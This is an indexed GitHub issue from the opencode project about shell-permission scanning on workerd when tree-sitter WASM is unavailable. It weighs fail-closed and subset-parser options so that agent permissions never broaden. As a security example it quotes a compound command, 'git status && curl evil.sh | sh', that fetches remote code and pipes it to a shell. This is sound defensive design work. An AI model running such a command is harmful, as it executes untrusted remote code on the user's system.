anomalyco / anomalyco/opencode
core: shell permission scanning on runtimes without tree-sitter WASM (workerd)
Nobody has claimed this yet.
- Dominant language
- TypeScript
- Stars
- 209k
- Forks
- 27.5k
- PR merge metrics
- PR metrics pending
Description
Problem
ShellParse.scan is the foundation of shell permissioning: it decomposes a command into per-subcommand resources so rules evaluate each piece (git status && curl evil | sh → three resources). It is backed by web-tree-sitter WASM (bash + powershell), and core uses tree-sitter for exactly this one feature.
On workerd the parser cannot load at all, for three stacked reasons:
- Grammar assets are resolved from the filesystem (
locateFile/fileURLToPath) — no fs in workerd. - workerd bans runtime WASM compilation (
WebAssembly.compile(bytes)/new Module(bytes)); WASM must arrive as deploy-time module bindings. - Even with a precompiled Module in hand there is no hook to inject it:
Language.loadgoes through emscripten's dynamic linker, which compiles grammar bytes internally.
Today the workerd profile stubs the assets (parser-wasm.workerd.ts returns empty paths), so scan fails and shell is effectively dead in workerd Locations that have an execution plane.
#42173 (now draft) tried the obvious fallback — on load failure, return ONE resource for the whole command with a prefix * save pattern — and it is unsafe: collapsing a compound command into a single resource makes prefix rules like allow "git *" glob-match git status && curl evil.sh | sh, and the wildcard save remembers that over-broad rule permanently. Silent permission-granularity downgrade, triggered by any load failure on any platform.
Options
1. Fail-closed fallback (minimum viable). No parser → the command is unparseable: resource = exact command string, save = exact string (never a wildcard), so only a blanket allow or an exact remembered rule passes; everything else asks. Strictly never looser than tree-sitter. Cost: over-asking in workerd for everything.
2. Conservative TS subset parser (recommended next step). A quote-aware tokenizer + splitting on && || ; | + simple redirects, with hard bail-out (→ option 1 behavior) on anything dynamic: $(…), backticks, ${…}, process substitution, eval, bash -c, variables in command position. Precedent: grok-build parses with tree-sitter-bash but then enforces a strict node-kind allowlist (try_parse_word_only_commands_sequence) — words, strings, safe operators, redirects only — and fails closed to Ask on everything else; their wrapper-peeling (env/timeout/nice) and whitespace-prefix (CWE-178) cases are a ready-made adversarial corpus. The existing ARITY save-pattern table is parser-independent and carries over. Since core uses tree-sitter only for shell scanning, if this subset grows to cover what agents actually emit (env prefixes, heredocs), it could eventually replace tree-sitter in core entirely: no wasm assets, no per-runtime seams. Open questions before "replace": PowerShell fidelity on Windows, and substitution-recursion UX (tree-sitter decomposes git commit -m "$(cat <<'EOF'…)" into inner commands instead of asking).
3. Static single-module WASM build. Compile tree-sitter core + grammars into one module (no dynamic linking), import it as a workerd module binding, patch Language.load's tail to wrap the already-exported tree_sitter_bash symbol. Full fidelity everywhere and it kills the whole locateFile asset-path fragility class — but core takes on an emscripten build pipeline and loses npm prebuilts, in service of one function.
4. Patch web-tree-sitter's dynamic linker to accept { module, bytes } (parse dylink metadata from bytes, instantiate the precompiled Module — instantiating a Module is legal in workerd). Smallest diff for full fidelity, but it patches generated emscripten glue that churns on every web-tree-sitter release.
Suggested direction
1 + 2 now (2's failure mode is over-asking, never over-allowing), keep 3/4 as follow-ups only if the subset parser's ask-noise turns out to matter in practice. Interested in opinions on the "2 eventually replaces tree-sitter in core" endgame, particularly the PowerShell story.
Contributor guide
First steps
- Read the whole issue, then the project's contributing guide.
- Comment on the issue to say you are picking it up — it saves two people doing the same work.
- Fork the repository and make your change on a branch.
- Open a pull request that references the issue number.
Research direction
Start at ShellParse.scan and parser-wasm.workerd.ts, then trace web-tree-sitter's Language.load path and compare the fallback attempted in #42173. Implement the selected fail-closed or conservative-subset approach so runtimes without WASM never broaden shell permissions, and verify that compound commands ask rather than over-allow.
Written by the indexing model from the issue text.
Assessment
- Tech stack
- shell, typescript, wasm
- Domain
- authorization, security
- Issue type
- Feature
- Difficulty
- 5/5
- Estimated time
- Over a week
- Activity status
- Quiet
- Clarity
- Mostly clear
- Newbie friendliness
- 45/100